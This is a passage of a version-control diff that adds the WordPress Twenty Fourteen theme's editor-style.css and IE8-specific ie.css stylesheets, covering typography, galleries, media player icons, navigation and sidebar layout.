Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/css/editor-style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/css/editor-style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/css/editor-style.css	(revision 33402)
@@ -0,0 +1,721 @@
+/*
+Theme Name: Twenty Fourteen
+Description: Used to style the TinyMCE editor.
+*/
+
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Body
+ * 2.0 - Headings
+ * 3.0 - Text Elements
+ * 4.0 - Links
+ * 5.0 - Alignment
+ * 6.0 - Tables
+ * 7.0 - Images
+ * 8.0 - Galleries
+ * 9.0 - Audio/Video
+ * 10.0 - RTL
+ * ----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Body
+ * ----------------------------------------------------------------------------
+ */
+
+html .mceContentBody {
+	font-size: 100%;
+	max-width: 474px;
+}
+
+body {
+	color: #2b2b2b;
+	font-family: Lato, sans-serif;
+	font-weight: 400;
+	line-height: 1.5;
+	vertical-align: baseline;
+}
+
+
+/**
+ * 2.0 Headings
+ * ----------------------------------------------------------------------------
+ */
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-weight: 700;
+	margin: 36px 0 12px;
+}
+
+h1 {
+	font-size: 26px;
+	line-height: 1.3846153846;
+}
+
+h2 {
+	font-size: 24px;
+	line-height: 1;
+}
+
+h3 {
+	font-size: 22px;
+	line-height: 1.0909090909;
+}
+
+h4 {
+	font-size: 20px;
+	line-height: 1.2;
+}
+
+h5 {
+	font-size: 18px;
+	line-height: 1.3333333333;
+}
+
+h6 {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+h1:first-child,
+h2:first-child,
+h3:first-child,
+h4:first-child,
+h5:first-child,
+h6:first-child {
+	margin-top: 0;
+}
+
+
+/**
+ * 3.0 Text Elements
+ * ----------------------------------------------------------------------------
+ */
+
+address {
+	font-style: italic;
+	margin-bottom: 24px;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted #2b2b2b;
+	cursor: help;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+cite {
+	border: 0;
+}
+
+cite,
+dfn,
+em,
+i {
+	font-style: italic;
+}
+
+mark,
+ins {
+	background: #fff9c0;
+	border: 0;
+	color: inherit;
+	text-decoration: none;
+}
+
+p {
+	margin: 0 0 24px;
+}
+
+code,
+kbd,
+tt,
+var,
+samp,
+pre {
+	font-family: monospace, serif;
+	font-size: 15px;
+	line-height: 1.6;
+}
+
+pre {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	margin-bottom: 24px;
+	max-width: 100%;
+	overflow: auto;
+	padding: 12px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+blockquote,
+q {
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+	content: none;
+}
+
+blockquote {
+	color: #767676;
+	font-size: 19px;
+	font-style: italic;
+	font-weight: 300;
+	line-height: 1.2631578947;
+	margin: 0 0 24px;
+}
+
+blockquote cite,
+blockquote small {
+	color: #2b2b2b;
+	font-size: 16px;
+	font-weight: 400;
+	line-height: 1.5;
+}
+
+blockquote em,
+blockquote i,
+blockquote cite {
+	font-style: normal;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+small {
+	font-size: smaller;
+}
+
+big {
+	font-size: 125%;
+}
+
+sup,
+sub {
+	font-size: 75%;
+	height: 0;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	bottom: 1ex;
+}
+
+sub {
+	top: .5ex;
+}
+
+dl {
+	margin: 0 0 24px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin: 0 0 24px;
+}
+
+ul,
+ol {
+	list-style: none;
+	margin: 0 0 24px 20px;
+	padding-left: 0;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+}
+
+li > ul,
+li > ol {
+	margin: 0 0 0 20px;
+}
+
+del {
+	color: #767676;
+}
+
+hr {
+	background-color: rgba(0, 0, 0, 0.1);
+	border: 0;
+	height: 1px;
+	margin-bottom: 23px;
+}
+
+
+/**
+ * 4.0 Links
+ * ----------------------------------------------------------------------------
+ */
+
+a {
+	color: #24890d;
+	text-decoration: none;
+}
+
+a:visited {
+	color: #24890d;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:active,
+a:hover {
+	color: #41a62a;
+	outline: 0;
+}
+
+
+/**
+ * 5.0 Alignment
+ * ----------------------------------------------------------------------------
+ */
+
+.alignleft {
+	float: left;
+	margin: 7px 24px 7px 0;
+}
+
+.alignright {
+	float: right;
+	margin: 7px 0 7px 24px;
+}
+
+.aligncenter {
+	clear: both;
+	display: block;
+	margin: 7px auto;
+}
+
+blockquote.alignleft,
+blockquote.alignright {
+	border-top: 1px solid rgba(0, 0, 0, 0.1);
+	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
+	padding-top: 17px;
+	width: 50%;
+}
+
+blockquote.alignleft p,
+blockquote.alignright p {
+	margin-bottom: 17px;
+}
+
+
+/**
+ * 6.0 Tables
+ * ----------------------------------------------------------------------------
+ */
+
+.mceItemTable,
+.mce-item-table {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	border-width: 1px 0 0 1px;
+	border-collapse: separate;
+	border-spacing: 0;
+	font-size: 14px;
+	line-height: 1.2857142857;
+	margin-bottom: 24px;
+	width: 100%;
+}
+
+.mceItemTable th,
+.mceItemTable caption,
+.mce-item-table th,
+.mce-item-table caption {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	border-width: 0 1px 1px 0;
+	font-weight: 700;
+	padding: 8px;
+	text-align: left;
+	text-transform: uppercase;
+	vertical-align: baseline;
+}
+
+.mceItemTable td,
+.mce-item-table td {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	border-width: 0 1px 1px 0;
+	font-family: Lato, sans-serif;
+	font-size: 14px;
+	padding: 8px;
+	vertical-align: baseline;
+}
+
+
+/**
+ * 7.0 Images
+ * ----------------------------------------------------------------------------
+ */
+
+img {
+	height: auto;
+	max-width: 474px;
+	vertical-align: middle;
+}
+
+.wp-caption {
+	background: transparent;
+	border: none;
+	color: #767676;
+	margin: 0 0 24px 0;
+	max-width: 474px;
+	padding: 0;
+	text-align: left;
+}
+
+.html5-captions .wp-caption {
+	padding: 0;
+}
+
+.wp-caption.alignleft {
+	margin: 7px 14px 7px 0;
+}
+
+.html5-captions .wp-caption.alignleft {
+	margin-right: 24px;
+}
+
+.wp-caption.alignright {
+	margin: 7px 0 7px 14px;
+}
+
+.wp-caption.alignright img,
+.wp-caption.alignright .wp-caption-dd {
+	padding-left: 10px;
+}
+
+.html5-captions .wp-caption.alignright {
+	margin-left: 24px;
+}
+
+.html5-captions .wp-caption.alignright img,
+.html5-captions .wp-caption.alignright .wp-caption-dd {
+	padding: 0;
+}
+
+.wp-caption.aligncenter {
+	margin: 7px auto;
+}
+
+.wp-caption-dt {
+	margin: 0;
+}
+
+.wp-caption .wp-caption-text,
+.wp-caption-dd {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	font-size: 12px;
+	font-style: italic;
+	line-height: 1.5;
+	margin: 9px 0;
+	padding: 0 10px 0 0; /* Avoid the caption to overflow the width of the image because wp-caption has 10px wider width */
+	text-align: left;
+}
+
+.mceTemp + ul,
+.mceTemp + ol {
+	list-style-position: inside;
+}
+
+/**
+ * 8.0 Gallery
+ * -----------------------------------------------------------------------------
+ */
+
+.gallery .gallery-item {
+	float: left;
+	margin: 0 4px 4px 0;
+	overflow: hidden;
+	padding: 0;
+	position: relative;
+}
+
+.gallery-columns-1 .gallery-item {
+	max-width: 100%;
+	width: auto;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 48%;
+	max-width: -webkit-calc(50% - 14px);
+	max-width:         calc(50% - 14px);
+	width: auto;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 32%;
+	max-width: -webkit-calc(33.3% - 11px);
+	max-width:         calc(33.3% - 11px);
+	width: auto;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 23%;
+	max-width: -webkit-calc(25% - 9px);
+	max-width:         calc(25% - 9px);
+	width: auto;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 19%;
+	max-width: -webkit-calc(20% - 8px);
+	max-width:         calc(20% - 8px);
+	width: auto;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 15%;
+	max-width: -webkit-calc(16.7% - 7px);
+	max-width:         calc(16.7% - 7px);
+	width: auto;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 13%;
+	max-width: -webkit-calc(14.28% - 7px);
+	max-width:         calc(14.28% - 7px);
+	width: auto;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 11%;
+	max-width: -webkit-calc(12.5% - 6px);
+	max-width:         calc(12.5% - 6px);
+	width: auto;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 9%;
+	max-width: -webkit-calc(11.1% - 6px);
+	max-width:         calc(11.1% - 6px);
+	width: auto;
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n),
+.gallery-columns-3 .gallery-item:nth-of-type(3n),
+.gallery-columns-4 .gallery-item:nth-of-type(4n),
+.gallery-columns-5 .gallery-item:nth-of-type(5n),
+.gallery-columns-6 .gallery-item:nth-of-type(6n),
+.gallery-columns-7 .gallery-item:nth-of-type(7n),
+.gallery-columns-8 .gallery-item:nth-of-type(8n),
+.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+	margin-right: 0;
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n - 1),
+.gallery-columns-3 .gallery-item:nth-of-type(3n - 2),
+.gallery-columns-4 .gallery-item:nth-of-type(4n - 3),
+.gallery-columns-5 .gallery-item:nth-of-type(5n - 4),
+.gallery-columns-6 .gallery-item:nth-of-type(6n - 5),
+.gallery-columns-7 .gallery-item:nth-of-type(7n - 6),
+.gallery-columns-8 .gallery-item:nth-of-type(8n - 7),
+.gallery-columns-9 .gallery-item:nth-of-type(9n - 8) {
+	margin-left: 12px; /* Compensate for the default negative margin on .gallery, which can't be changed. */
+}
+
+.gallery .gallery-caption {
+	background-color: rgba(0, 0, 0, 0.7);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	color: #fff;
+	font-size: 12px;
+	line-height: 1.5;
+	margin: 0;
+	max-height: 50%;
+	opacity: 0;
+	padding: 6px 8px;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	text-align: left;
+	width: 100%;
+}
+
+.gallery .gallery-caption:before {
+	content: "";
+	height: 100%;
+	min-height: 49px;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+}
+
+.gallery-item:hover .gallery-caption {
+	opacity: 1;
+}
+
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 9.0 Audio/Video
+ * ----------------------------------------------------------------------------
+ */
+
+.mejs-mediaelement,
+.mejs-container .mejs-controls {
+	background: #000;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-loaded,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	background: #fff;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-current {
+	background: #24890d;
+}
+
+.mejs-controls .mejs-time-rail .mejs-time-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total {
+	background: rgba(255, 255, 255, .33);
+}
+
+.mejs-controls .mejs-time-rail span,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	border-radius: 0;
+}
+
+.mejs-overlay-loading {
+	background: transparent;
+}
+
+.mejs-overlay-button {
+	background-color: #fff;
+	background-image: none;
+	border-radius: 2px;
+	box-shadow: 1px 1px 1px rgba(0,0,0,.8);
+	color: #000;
+	height: 36px;
+	margin-left: -24px;
+	width: 48px;
+}
+
+.mejs-overlay-button:before {
+	-webkit-font-smoothing: antialiased;
+	content: '\f452';
+	display: inline-block;
+	font: normal 32px/1.125 Genericons;
+	position: absolute;
+	top: 1px;
+	left: 10px;
+}
+
+.mejs-controls .mejs-button button:focus {
+	outline: none;
+}
+
+.mejs-controls .mejs-button button {
+	-webkit-font-smoothing: antialiased;
+	background: none;
+	color: #fff;
+	display: inline-block;
+	font: normal 16px/1 Genericons;
+}
+
+.mejs-playpause-button.mejs-play button:before {
+	content: '\f452';
+}
+
+.mejs-playpause-button.mejs-pause button:before {
+	content: '\f448';
+}
+
+.mejs-volume-button.mejs-mute button:before {
+	content: '\f109';
+	font-size: 20px;
+	position: absolute;
+	top: -2px;
+	left: 0;
+}
+
+.mejs-volume-button.mejs-unmute button:before {
+	content: '\f109';
+	left: 0;
+	position: absolute;
+	top: 0;
+}
+
+.mejs-fullscreen-button button:before {
+	content: '\f474';
+}
+
+.mejs-fullscreen-button.mejs-unfullscreen button:before {
+	content: '\f406';
+}
+
+.mejs-overlay:hover .mejs-overlay-button {
+	background-color: #24890d;
+	color: #fff;
+}
+
+.mejs-controls .mejs-button button:hover {
+	color: #41a62a;
+}
+
+
+/**
+ * 10.0 RTL
+ * ----------------------------------------------------------------------------
+ */
+
+html .mceContentBody.rtl {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+.rtl ol,
+.rtl ul {
+	margin-left: 0;
+	margin-right: 24px;
+}
+
+.rtl .wp-caption,
+.rtl tr th {
+	text-align: right;
+}
+
+.rtl td {
+	text-align: right;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/css/ie.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/css/ie.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/css/ie.css	(revision 33402)
@@ -0,0 +1,1335 @@
+/**
+ * Global Styles for older IE versions (previous to IE9).
+ */
+
+pre,
+fieldset,
+table,
+th,
+td,
+input,
+textarea {
+	border: 1px solid #e5e5e5;
+}
+
+hr {
+	background-color: #e5e5e5;
+}
+
+button,
+input,
+select,
+textarea {
+	vertical-align: middle;
+}
+
+
+input:focus,
+textarea:focus {
+	border: 1px solid #b2b2b2;
+}
+
+.site-title {
+	max-width: 71%;
+}
+
+.site-content blockquote.alignleft,
+.site-content blockquote.alignright {
+	border-top: 1px solid #e5e5e5;
+	border-bottom: 1px solid #e5e5e5;
+}
+
+.post-thumbnail,
+a.post-thumbnail:hover {
+	background: transparent;
+}
+
+.list-view .site-content .hentry {
+	border-top: 1px solid #e5e5e5;
+	padding-top: 48px;
+}
+
+.gallery-caption {
+	background: #000;
+	filter: alpha(opacity=0);
+}
+
+.gallery-item:hover .gallery-caption {
+	filter: alpha(opacity=70);
+}
+
+.nav-links {
+	border-top: 1px solid #e5e5e5;
+}
+
+.post-navigation a,
+.image-navigation .previous-image,
+.image-navigation .next-image,
+.contributor {
+	border-bottom: 1px solid #e5e5e5;
+}
+
+.contributor-avatar,
+.comment-author .avatar {
+	border: 1px solid #e5e5e5;
+}
+
+.comment-list article,
+.comment-list .pingback,
+.comment-list .trackback {
+	border-top: 1px solid #e5e5e5;
+}
+
+.comment-list .reply {
+	margin-top: 0;
+}
+
+#secondary {
+	color: #b3b3b3;
+}
+
+.widget abbr[title] {
+	border-color: #b3b3b3;
+}
+
+.widget pre,
+.widget fieldset,
+.widget table,
+.widget th,
+.widget td,
+.widget input,
+.widget textarea {
+	border-color: #4d4d4d;
+}
+
+.widget blockquote,
+.widget .wp-caption,
+.widget_twentyfourteen_ephemera .entry-meta a {
+	color: #b3b3b3;
+}
+
+.widget del {
+	color: #666;
+}
+
+.widget hr {
+	background-color: #4d4d4d;
+}
+
+.widget input,
+.widget textarea {
+	background-color: #1a1a1a;
+}
+
+.widget input:focus,
+.widget textarea:focus {
+	border-color: #262626;
+}
+
+.widget_calendar thead th {
+	background-color: #1a1a1a;
+}
+
+.widget_twentyfourteen_ephemera > ol > li {
+	border-bottom: 1px solid #4d4d4d;
+}
+
+.widget_archive li,
+.widget_categories li,
+.widget_links li,
+.widget_meta li,
+.widget_nav_menu li,
+.widget_pages li,
+.widget_recent_comments li,
+.widget_recent_entries li,
+.widget_categories li ul,
+.widget_nav_menu li ul,
+.widget_pages li ul {
+	border-top: 1px solid #4d4d4d;
+}
+
+.content-sidebar .widget pre,
+.content-sidebar .widget fieldset,
+.content-sidebar .widget table,
+.content-sidebar .widget th,
+.content-sidebar .widget td,
+.content-sidebar .widget input,
+.content-sidebar .widget textarea,
+.content-sidebar .widget_archive li,
+.content-sidebar .widget_categories li,
+.content-sidebar .widget_links li,
+.content-sidebar .widget_meta li,
+.content-sidebar .widget_nav_menu li,
+.content-sidebar .widget_pages li,
+.content-sidebar .widget_recent_comments li,
+.content-sidebar .widget_recent_entries li,
+.content-sidebar .widget_categories li ul,
+.content-sidebar .widget_nav_menu li ul,
+.content-sidebar .widget_pages li ul {
+	border-color: #e5e5e5;
+}
+
+.content-sidebar .widget hr {
+	background-color: #e5e5e5;
+}
+
+.content-sidebar .widget input:focus,
+.content-sidebar .widget textarea:focus {
+	border: 1px solid #b2b2b2;
+}
+
+.content-sidebar .widget_calendar thead th {
+	background-color: #fafafa;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera > ol > li {
+	border-bottom: 1px solid #e5e5e5;
+}
+
+.site-footer,
+.site-info,
+.site-info a {
+	color: #b3b3b3;
+}
+
+#supplementary + .site-info {
+	border-top: 1px solid #4d4d4d;
+}
+
+.featured-content {
+	background: #000;
+}
+
+
+/**
+ * Internet Explorer 8
+ */
+
+.ie8 img.size-full,
+.ie8 img.size-large,
+.ie8 img.header-image,
+.ie8 img.wp-post-image,
+.ie8 img[class*="align"],
+.ie8 img[class*="wp-image-"],
+.ie8 img[class*="attachment-"] {
+	height: auto;
+	width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */
+}
+
+.ie8 .full-size-link:before,
+.ie8 .parent-post-link:before,
+.ie8 .site-content span + .byline:before,
+.ie8 .site-content span + .comments-link:before,
+.ie8 .site-content span + .edit-link:before,
+.ie8 .site-content span + .entry-date:before {
+	content: "";
+}
+
+.ie8 .attachment span.entry-date:before,
+.ie8 .entry-content .edit-link a:before,
+.ie8 .entry-meta .edit-link a:before,
+.ie8 .site-content .byline a:before,
+.ie8 .site-content .comments-link a:before,
+.ie8 .site-content .entry-date a:before,
+.ie8 .site-content .featured-post:before,
+.ie8 .site-content .full-size-link a:before,
+.ie8 .site-content .parent-post-link a:before,
+.ie8 .site-content .post-format a:before {
+	display: inline-block;
+	font: normal 16px/1 Genericons;
+	text-decoration: inherit;
+	vertical-align: text-bottom;
+}
+
+.ie8 .site-content .entry-meta > span {
+	margin-right: 10px;
+}
+
+.ie8 .site-content .format-video .post-format a:before {
+	content: "\f104";
+}
+
+.ie8 .site-content .format-audio .post-format a:before {
+	content: "\f109";
+}
+
+.ie8 .site-content .format-image .post-format a:before {
+	content: "\f473";
+	position: relative;
+	top: 1px;
+}
+
+.ie8 .site-content .format-quote .post-format a:before {
+	content: "\f106";
+	margin-right: 2px;
+}
+
+.ie8 .site-content .format-gallery .post-format a:before {
+	content: "\f103";
+	margin-right: 4px;
+}
+
+.ie8 .site-content .format-aside .post-format a:before {
+	content: "\f101";
+	margin-right: 2px;
+}
+
+.ie8 .site-content .format-link .post-format a:before {
+	content: "\f107";
+	position: relative;
+	top: 1px;
+}
+
+.ie8 .site-content .featured-post:before {
+	content: "\f308";
+	margin-right: 3px;
+	position: relative;
+	top: 1px;
+}
+
+.ie8 .site-content .entry-date a:before,
+.ie8 .attachment .site-content span.entry-date:before {
+	content: "\f303";
+	margin-right: 1px;
+	position: relative;
+	top: 1px;
+}
+
+.ie8 .site-content .byline a:before {
+	content: "\f304";
+}
+
+.ie8 .site-content .comments-link a:before {
+	content: "\f300";
+	margin-right: 2px;
+}
+
+.ie8 .entry-content .edit-link a:before,
+.ie8 .entry-meta .edit-link a:before {
+	content: "\f411";
+}
+
+.ie8 .site-content .full-size-link a:before {
+	content: "\f402";
+	margin-right: 1px;
+}
+
+.ie8 .site-content .parent-post-link a:before {
+	content: "\f301";
+}
+
+.ie8 .main-content {
+	float: left;
+}
+
+.ie8 .content-area {
+	float: left;
+	padding-top: 72px;
+	width: 100%;
+}
+
+.ie8 .site-content {
+	margin-right: 29.04761904%;
+	margin-left: 17.61904761%;
+}
+
+.ie8 .search-box-wrapper,
+.ie8 .featured-content {
+	padding-left: 17.61904761%;
+}
+
+.ie8 .header-main {
+	padding: 0 0 0 30px;
+}
+
+.ie8 .search-toggle {
+	margin-right: 0;
+}
+
+.ie8 .search-box .search-field {
+	width: 324px;
+}
+
+.ie8 .site-navigation li .current_page_item > a,
+.ie8 .site-navigation li .current_page_ancestor > a,
+.ie8 .site-navigation li .current-menu-item > a,
+.ie8 .site-navigation li .current-menu-ancestor > a {
+	background-color: #000;
+}
+
+.ie8 .primary-navigation {
+	float: right;
+	font-size: 11px;
+	margin: 0 1px 0 -10px;
+	padding: 0;
+	text-transform: uppercase;
+}
+
+.ie8 .primary-navigation .menu-toggle {
+	display: none;
+	padding: 0;
+}
+
+.ie8 .primary-navigation .nav-menu {
+	border-bottom: 0;
+	display: block;
+}
+
+.ie8 .primary-navigation.toggled-on {
+	border-bottom: 0;
+	margin: 0;
+	padding: 0;
+}
+
+.ie8 .primary-navigation li {
+	border: 0;
+	display: inline-block;
+	height: 48px;
+	line-height: 48px;
+	position: relative;
+}
+
+.ie8 .primary-navigation a {
+	display: inline-block;
+	padding: 0 10px;
+	white-space: nowrap;
+}
+
+.ie8 .primary-navigation ul ul {
+	background-color: #24890d;
+	float: left;
+	margin: 0;
+	position: absolute;
+	top: 48px;
+	left: -999em;
+	z-index: 99999;
+}
+
+.ie8 .primary-navigation li li {
+	border: 0;
+	display: block;
+	height: auto;
+	line-height: 1.0909090909;
+}
+
+.ie8 .primary-navigation ul ul ul {
+	left: -999em;
+	top: 0;
+}
+
+.ie8 .primary-navigation ul ul a {
+	padding: 18px 12px;
+	white-space: normal;
+	width: 176px;
+}
+
+.ie8 .primary-navigation li:hover > a,
+.ie8 .primary-navigation li.focus > a {
+	background-color: #24890d;
+	color: #fff;
+}
+
+.ie8 .primary-navigation ul ul a:hover,
+.ie8 .primary-navigation ul ul li.focus > a {
+	background-color: #41a62a;
+}
+
+.ie8 .primary-navigation ul li:hover > ul,
+.ie8 .primary-navigation ul li.focus > ul {
+	left: auto;
+}
+
+.ie8 .primary-navigation ul ul li:hover > ul,
+.ie8 .primary-navigation ul ul li.focus > ul {
+	left: 100%;
+}
+
+.ie8 .archive-header,
+.ie8 .page-header {
+	margin: 0 auto 60px;
+	padding: 0 10px;
+}
+
+.ie8 .site-content .has-post-thumbnail .entry-header {
+	margin-top: -48px;
+}
+
+.ie8 .archive-header,
+.ie8 .comments-area,
+.ie8 .image-navigation,
+.ie8 .page-header,
+.ie8 .page-content,
+.ie8 .post-navigation,
+.ie8 .site-content .entry-header,
+.ie8 .site-content .entry-content,
+.ie8 .site-content .entry-summary,
+.ie8 .site-content footer.entry-meta {
+	margin-right: 54px;
+	padding-right: 30px;
+	padding-left: 30px;
+}
+
+.ie8 .list-view .site-content .hentry:first-child,
+.ie8 .list-view .site-content .hentry.has-post-thumbnail {
+	border-top: 0;
+	padding-top: 0;
+}
+
+.ie8 .comment-list .trackback,
+.ie8 .comment-list .pingback,
+.ie8 .comment-list article {
+	margin-bottom: 36px;
+	padding-top: 36px;
+}
+
+.ie8 .comment-author .avatar {
+	height: 34px;
+	top: 2px;
+	width: 34px;
+}
+
+.ie8 .comment-author,
+.ie8 .comment-awaiting-moderation,
+.ie8 .comment-content,
+.ie8 .comment-list .reply,
+.ie8 .comment-metadata {
+	padding-left: 50px;
+}
+
+.ie8 .comment-list .children {
+	margin-left: 20px;
+}
+
+.ie8 .full-width .site-content {
+	margin-right: 0;
+}
+
+.ie8 .full-width .archive-header,
+.ie8 .full-width .comments-area,
+.ie8 .full-width .image-navigation,
+.ie8 .full-width .page-header,
+.ie8 .full-width .page-content,
+.ie8 .full-width .post-navigation,
+.ie8 .full-width .site-content .entry-header,
+.ie8 .full-width .site-content .entry-content,
+.ie8 .full-width .site-content .entry-summary,
+.ie8 .full-width .site-content footer.entry-meta {
+	padding-right: 30px;
+	padding-left: 30px;
+	margin-right: auto;
+}
+
+.ie8 .full-width .hentry.has-post-thumbnail:first-child {
+	margin-top: -72px;
+}
+
+
+.ie8 .singular .site-content .hentry.has-post-thumbnail {
+	margin-top: 0;
+}
+
+.ie8 .error404 .page-header {
+	margin-bottom: 24px;
+}
+
+.ie8 .contributor-avatar {
+	margin-left: -168px;
+}
+
+.ie8 .contributor-summary {
+	float: left;
+}
+
+.ie8 .site:before {
+	background-color: #000;
+	content: "";
+	display: block;
+	height: 100%;
+	min-height: 100%;
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 17.61904761%;
+	z-index: 2;
+}
+
+.ie8 #secondary {
+	border: 0;
+	clear: none;
+	color: #b3b3b3;
+	float: left;
+	margin: 0 0 0 -100%;
+	min-height: 100vh;
+	padding: 0 30px;
+	width: 12.85714285%;
+}
+
+.ie8 .site-description {
+	display: block;
+	margin: -3px 0 21px;
+}
+
+.ie8 .secondary-navigation {
+	font-size: 11px;
+	margin: 0 -30px 48px;
+	width: calc(100% + 60px);
+}
+
+.ie8 .secondary-navigation li {
+	border-top: 1px solid #4d4d4d;
+	position: relative;
+}
+
+.ie8 .secondary-navigation a {
+	padding: 10px 30px;
+}
+
+.ie8 .secondary-navigation ul ul {
+	background-color: #24890d;
+	position: absolute;
+	top: 0;
+	left: -999em;
+	width: 222px;
+	z-index: 99999;
+}
+
+.ie8 .secondary-navigation li li {
+	border-top: 0;
+}
+
+.ie8 .secondary-navigation li:hover > a,
+.ie8 .secondary-navigation li.focus > a {
+	background-color: #24890d;
+	color: #fff;
+}
+
+.ie8 .secondary-navigation ul ul a:hover,
+.ie8 .secondary-navigation ul ul li.focus > a {
+	background-color: #41a62a;
+}
+
+.ie8 .secondary-navigation ul li:hover > ul,
+.ie8 .secondary-navigation ul li.focus > ul {
+	left: 202px;
+}
+
+.ie8 .content-sidebar {
+	border: 0;
+	float: right;
+	margin-left: -29.04761904%;
+	padding: 72px 30px 24px;
+	width: 29.04761904%;
+}
+
+.ie8 #supplementary {
+	padding: 0;
+}
+
+.ie8 .footer-sidebar {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.ie8 .footer-sidebar .widget,
+.ie8 .primary-sidebar .widget {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.ie8 .footer-sidebar .widget {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	float: left;
+	padding: 0 30px;
+	width: 25%;
+}
+
+.ie8 .footer-sidebar .widget h1,
+.ie8 .primary-sidebar .widget h1 {
+	font-size: 20px;
+	line-height: 1.2;
+}
+
+.ie8 .footer-sidebar .widget h2,
+.ie8 .primary-sidebar .widget h2 {
+	font-size: 18px;
+	line-height: 1.3333333333;
+}
+
+.ie8 .footer-sidebar .widget h3,
+.ie8 .primary-sidebar .widget h3 {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+.ie8 .footer-sidebar .widget h4,
+.ie8 .primary-sidebar .widget h4 {
+	font-size: 14px;
+	line-height: 1.7142857142;
+}
+
+.ie8 .footer-sidebar .widget h5,
+.ie8 .primary-sidebar .widget h5 {
+	font-size: 12px;
+	line-height: 2;
+}
+
+.ie8 .footer-sidebar .widget h6,
+.ie8 .primary-sidebar .widget h6 {
+	font-size: 11px;
+	line-height: 2.1818181818;
+}
+
+.ie8 .footer-sidebar .widget code,
+.ie8 .footer-sidebar .widget kbd,
+.ie8 .footer-sidebar .widget tt,
+.ie8 .footer-sidebar .widget var,
+.ie8 .footer-sidebar .widget samp,
+.ie8 .footer-sidebar .widget pre,
+.ie8 .primary-sidebar .widget code,
+.ie8 .primary-sidebar .widget kbd,
+.ie8 .primary-sidebar .widget tt,
+.ie8 .primary-sidebar .widget var,
+.ie8 .primary-sidebar .widget samp,
+.ie8 .primary-sidebar .widget pre {
+	font-size: 11px;
+	line-height: 1.6363636363;
+}
+
+.ie8 .footer-sidebar .widget blockquote,
+.ie8 .primary-sidebar .widget blockquote {
+	font-size: 14px;
+	line-height: 1.2857142857;
+}
+
+.ie8 .footer-sidebar .widget blockquote cite,
+.ie8 .primary-sidebar .widget blockquote cite {
+	font-size: 12px;
+	line-height: 1.5;
+}
+
+.ie8 .footer-sidebar .widget input,
+.ie8 .footer-sidebar .widget textarea,
+.ie8 .primary-sidebar .widget input,
+.ie8 .primary-sidebar .widget textarea {
+	font-size: 12px;
+	padding: 3px 2px 4px 4px;
+}
+
+.ie8 .footer-sidebar .widget input[type="button"],
+.ie8 .footer-sidebar .widget input[type="reset"],
+.ie8 .footer-sidebar .widget input[type="submit"],
+.ie8 .primary-sidebar .widget input[type="button"],
+.ie8 .primary-sidebar .widget input[type="reset"],
+.ie8 .primary-sidebar .widget input[type="submit"] {
+	padding: 5px 15px 4px;
+}
+
+.ie8 .footer-sidebar .widget .widget-title,
+.ie8 .primary-sidebar .widget .widget-title {
+	font-size: 11px;
+	font-weight: 700;
+	line-height: 1.6363636363;
+	margin-bottom: 18px;
+}
+
+.ie8 .footer-sidebar .widget_twentyfourteen_ephemera .entry-title,
